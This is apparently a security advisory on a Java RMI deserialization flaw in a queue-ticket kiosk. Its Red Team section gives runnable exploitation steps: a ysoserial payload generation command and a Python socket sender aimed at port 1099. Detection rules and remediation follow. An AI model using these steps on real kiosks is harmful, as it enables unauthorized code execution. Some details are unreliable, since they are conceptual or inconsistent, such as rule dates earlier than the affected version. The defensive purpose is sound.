CVE-2025-10252

Executive Summary

CVE-2025-10252 is a deserialization vulnerability in the SEAT Queue Ticket Kiosk software (up to version 20250827). The flaw resides in the Java RMI Registry Handler component, allowing an unauthenticated attacker on the same local network to trigger unsafe deserialization of Java objects. The attack complexity is high, and exploitability is difficult due to the need for specific gadget chains and network proximity. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The CVSS score is 3.1 (Low), reflecting the high complexity and local network requirement, but the potential for remote code execution (RCE) in a chained attack raises the risk for internal environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Java-based kiosk application. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 3.1 (Low)
• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same local network.
• Attack Complexity (AC): High (AC:H) – requires specific gadget chains and knowledge of the RMI registry.
• Privileges Required (PR): None (PR:N)
• User Interaction (UI): None (UI:N)
• Scope (S): Unchanged (S:U)
• Confidentiality (C): Low (C:L) – limited information disclosure possible.
• Integrity (I): None (I:N)
• Availability (A): None (A:N)

Threat Level: Low (due to high complexity and network adjacency), but Critical in internal segmented networks where the kiosk is exposed to untrusted devices.

Deep Dive & Mechanics

The vulnerability is a classic Java deserialization attack against the RMI (Remote Method Invocation) registry. The SEAT Queue Ticket Kiosk uses Java RMI for inter-component communication. The RMI registry (typically on port 1099) accepts serialized Java objects without proper validation. An attacker can craft a malicious serialized object that, when deserialized by the registry, triggers arbitrary code execution via gadget chains (e.g., Commons Collections, Spring, or other libraries present in the classpath).

Attack Flow:

1. Attacker scans the local network for open port 1099 (RMI registry).
2. Attacker connects to the registry and sends a crafted serialized object (e.g., using ysoserial).
3. The registry deserializes the object, executing the embedded payload.
4. Payload executes in the context of the kiosk application, potentially allowing command execution, data exfiltration, or lateral movement.

Why High Complexity: The attacker must identify the exact gadget chain available in the kiosk’s classpath. The kiosk may use a custom or stripped-down JRE, limiting available chains. Additionally, RMI deserialization attacks often require bypassing security managers or JEP-290 filters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// RMI Registry Handler in SEAT Kiosk (simplified)
public class KioskRegistry extends UnicastRemoteObject implements Registry {
    public Object lookup(String name) throws RemoteException {
        // Directly deserializes incoming object without validation
        ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
        Object obj = ois.readObject(); // Unsafe deserialization
        return obj;
    }
}

Patched Code (Hypothetical):

// Patched version with validation
public class KioskRegistry extends UnicastRemoteObject implements Registry {
    public Object lookup(String name) throws RemoteException {
        ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
        // Apply whitelist filter
        ois.setObjectInputFilter(new ObjectInputFilter() {
            @Override
            public Status checkInput(FilterInfo filterInfo) {
                if (filterInfo.serialClass() != null && 
                    !filterInfo.serialClass().getName().startsWith("com.seat.kiosk.")) {
                    return Status.REJECTED;
                }
                return Status.ALLOWED;
            }
        });
        Object obj = ois.readObject();
        return obj;
    }
}

Key Difference: The patched version uses ObjectInputFilter (JEP-290) to whitelist only expected classes, preventing arbitrary deserialization.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Java Runtime Environment (JRE) 8+ on attacker machine.
• ysoserial tool (https://github.com/frohoff/ysoserial).
• Network access to the kiosk’s RMI port (1099).

Exploitation Steps:

1. Identify the kiosk’s IP and confirm port 1099 is open:

   nmap -p 1099 <kiosk_ip>
   

2. Enumerate available gadget chains (try common ones):

   java -jar ysoserial.jar CommonsCollections1 'cmd /c calc.exe' > payload.bin
   

3. Send the payload to the RMI registry:

   python3 -c "
   import socket
   s = socket.socket()
   s.connect(('<kiosk_ip>', 1099))
   with open('payload.bin', 'rb') as f:
       s.send(f.read())
   s.close()
   "
   

4. If successful, the payload executes (e.g., calculator popup on Windows, or reverse shell).

Note: Due to high complexity, multiple gadget chains may need to be tested. Use ysoserial with --list to see available chains.

Blue Team

Detection Steps:

1. Monitor network traffic for unusual RMI connections (port 1099) from non-kiosk devices.
2. Enable Java RMI logging on the kiosk:

   -Djava.rmi.server.logCalls=true
   

3. Deploy network-based IDS rules (see Suricata below).
4. Use endpoint detection to monitor for child processes spawned by the Java process (e.g., cmd.exe, powershell).

Honeypot Setup:

• Deploy a fake RMI registry on a separate host to capture attacker payloads:

  python3 -m pyrmi --port 1099
  

Indicators of Compromise (IOCs)

• Network:
  • Connections to port 1099 from unexpected IPs.
  • Large serialized data streams (over 1KB) on port 1099.
• File System:
  • Unexpected .class or .jar files in the kiosk’s temp directory.
  • Presence of ysoserial or similar tools on the network.
• Process:
  • Java process spawning cmd.exe, powershell, or bash.
  • Unusual network connections from the Java process (e.g., outbound to attacker C2).
• Registry (Windows):
  • Modifications to HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Prefs (if persistence attempted).

Detection Engineering

YARA Rule

rule CVE_2025_10252_Deserialization_Payload {
    meta:
        description = "Detects ysoserial-style serialized Java payloads targeting SEAT Kiosk RMI"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-10252"
    strings:
        $magic = { AC ED 00 05 }  // Java serialization magic bytes
        $ysoserial = "ysoserial" nocase
        $gadget_chain = /(CommonsCollections|Jdk7u21|Spring|C3P0|BeanShell)/ nocase
    condition:
        $magic at 0 and ($ysoserial or $gadget_chain)
}

Sigma Rule

title: CVE-2025-10252 - SEAT Kiosk RMI Deserialization Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network connections to port 1099 with large serialized data
author: Valters IT
date: 2025-03-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 1099
        Initiated: true
        BytesSent|gte: 1024
    condition: selection
falsepositives:
    - Legitimate RMI traffic from authorized management tools
level: medium

Suricata Rule

alert tcp any any -> any 1099 (msg:"CVE-2025-10252 - SEAT Kiosk RMI Deserialization Attempt"; flow:to_server; content:"|ac ed 00 05|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the kiosk on a separate VLAN with strict firewall rules (block inbound port 1099 from all except authorized management hosts).
2. Disable RMI if not required for kiosk operation.
3. Apply JEP-290 filter by adding to JVM arguments:

   -Djava.rmi.server.useCodebaseOnly=true
   -Dsun.rmi.registry.registryFilter=com.seat.kiosk.*;!*
   

4. Monitor logs for deserialization exceptions (e.g., java.io.InvalidClassException).

Long-Term Fix:

• Replace RMI with a secure communication protocol (e.g., gRPC with TLS).
• Implement strict input validation and whitelisting for all serialized objects.
• Contact the vendor for an official patch; if unresponsive, consider replacing the kiosk software.

Valters IT